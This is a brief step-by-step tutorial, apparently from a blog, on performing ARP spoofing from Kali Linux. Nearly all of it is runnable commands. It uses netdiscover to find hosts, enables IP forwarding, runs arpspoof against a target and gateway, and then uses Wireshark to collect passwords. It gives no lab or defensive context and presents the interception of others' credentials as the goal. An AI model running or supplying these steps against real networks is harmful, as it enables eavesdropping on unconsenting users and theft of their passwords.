Performing ARP SPOOFING/POISONING on Kali Linux #1

1) Utilize the "netdiscover" command to address those nodes located in the same subnet. An example:
#netdiscover -i wlan0 -r 192.168.0.0/24
P.S.: The "wlan0" is the corresponding network adapter, and "192.168.0.0/24" is the corresponding subnet.

2) Enable "net.ipv4.conf.all.forwarding" by executing the command below.
#sysctl net.ipv4.conf.all.forwarding=1

3) Leverage the "arpspoof" command to perform ARP SPOOFING. An example is shown below.
#arpspoof -i wlan0 -t 192.168.0.7 -r 192.168.0.1
P.S.: The "wlan0" is the corresponding network adapter, and "192.168.0.7" is the target IP address. Furthermore, "192.168.0.1" is the gateway.

4) After the commands above are executed, run the Wireshark so that such confidential information as passwords can be gathered by us.